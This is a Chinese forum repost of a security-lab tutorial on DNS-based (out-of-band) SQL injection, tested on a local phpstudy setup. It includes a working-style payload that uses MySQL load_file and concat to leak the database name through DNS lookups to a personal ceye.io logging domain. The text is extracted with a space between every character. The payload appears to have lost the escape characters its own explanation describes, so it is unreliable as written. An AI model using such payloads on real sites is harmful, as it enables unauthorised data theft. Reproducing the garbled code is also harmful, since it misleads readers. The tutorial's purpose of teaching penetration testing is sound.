搜索

[26834] 2019-06-17_Dns注入

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-19
2019-06-17_Dns注入 D n s 注 入 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 1 9 - 0 6 - 1 7 本 文 作 者 ： c o n g 9 1 8 4 （ M s 0 8 0 6 7 实 验 室 核 心 成 员 ） 为 什 么 要 使 用 为 什 么 要 使 用 D N S 注 入 ？ 注 入 ？ 盲 注 跑 数 据 太 慢 的 情 况 下 ， 可 以 选 择 D N S 注 入 D N S 注 入 的 原 理 ？ 注 入 的 原 理 ？ 域 名 D N S 指 向 的 是 我 们 服 务 器 的 域 名 ， 意 味 着 解 析 域 名 时 需 向 D N S 服 务 器 查 询 。 通 过 递 归 查 询 可 以 获 取 数 据 库 上 的 信 息 。 要 记 住 整 个 域 名 内 的 节 点 标 签 被 限 制 在 6 3 个 字 符 长 度 大 小 。 使 用 条 件 ： 使 用 条 件 ： 1 .   有 s q l 注 入 点 2 .   该 站 点 的 l o a d _ f i l e 可 以 使 用   演 示 ： 演 示 ： 本 地 搭 建 p h p s t u d y 环 境 然 后 注 册 一 个 c e y e . i o 的 账 号 ， 作 为 d n s 注 入 的 平 台
用 到 的 东 西 呢 就 是 下 图 中 画 圈 的
这 是 一 个 域 名 : 分 析 一 下 ： C e y e . i o   就 不 用 说 了 ， 前 面 的       x x x x . c e y e . i o 是 你 的 个 人 域 名 D n s 注 入 最 后 的 效 果 呢 就 是 在 x x x x . c e y e . i o 前 面 显 示 你 注 入 的 结 果 。 例 如 ： 你 得 到 的 数 据 库 是 t e s t 那 么 效 果 则 是 : t e s t . x x x x . c e y e . i o 好 的 ， 废 话 不 多 说 ， 实 例 演 示 使 用 到 的 语 句 呢 就 是 下 面 这 条 ： a n d   i f ( ( s e l e c t   l o a d _ f i l e ( c o n c a t ( ' ' , ( s e l e c t   d a t a b a s e ( ) ) , ' . e q 6 w 9 l . c e y e . i o a b c ' ) ) ) , 1 , 0 )   分 析 一 下 ： A n d   就 不 多 说 了 ， 连 接 前 后 语 句 嘛 ！ I f （ 1 , 2 , 3 ） 这 个 函 数 ， 里 面 是 三 个 条 件 ， 如 果 1 这 个 位 置 是 t r u e 那 么 执 行 2 位 置 语 句 ， 否 则 执 行 3 位 置 语 句 。 我 们 都 知 道 ， l o a d _ f i l e 是 可 以 读 取 文 件 的 ， 那 么 ， 我 们 把 这 个 文 件 换 成 可 执 行 的 语 句 呢 ？ 再 说 一 个 小 知 识 点 ， x x x x x . x x x x x x 如 果 说 我 们 在 下 图 位 置 写 这 个 东 西 呢 ， 就 会 执 行 这 个 后 面 的 域 名 吧 ！
同 理 ， 你 在 l o a d _ f i l e 中 写 这 个 也 是 会 执 行 的 ， 所 以 就 利 用 这 个 特 点 进 行 的 d n s 注 入 。 ' ' , ( s e l e c t   d a t a b a s e ( ) ) , ' . e q 6 w 9 l . c e y e . i o a b c ' 首 先 前 面 的 实 际 上 是 两 个 其 中 两 个 是 作 为 转 义 符 号 来 的 ， 然 后 （ s e l e c t   d a t a b a s e ( ) ） 是 真 正 的 执 行 语 句 ， 然 后 后 面 拼 接 上 你 的 域 名 ， 最 后 面 加 的 a b c ， 实 例 发 现 ， 后 面 不 加 a b c 或 者 其 他 字 符 是 无 法 进 行 d n s 注 入 的 ， 必 须 加 上 a b c 或 者 a a a 等 等 都 可 以 ， 但 是 记 住 一 定 要 加 。 O k ， p a y l o a d 已 经 写 好 了 ， 就 执 行 吧 ！ 效 果
那 么 究 竟 对 不 对 呢 ？ 我 们 联 合 注 入 看 一 下 ： D n s 注 入 呢 到 这 里 基 本 已 经 算 是 o k 了 ！ 其 他 的 语 句 也 同 样 一 样 ！
来 源 ： M s 0 8 0 6 7 安 全 实 验 室   m s 0 8 0 6 7 安 全 实 验 室 界 世 的 你 当 作 你 的 肩 膀
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理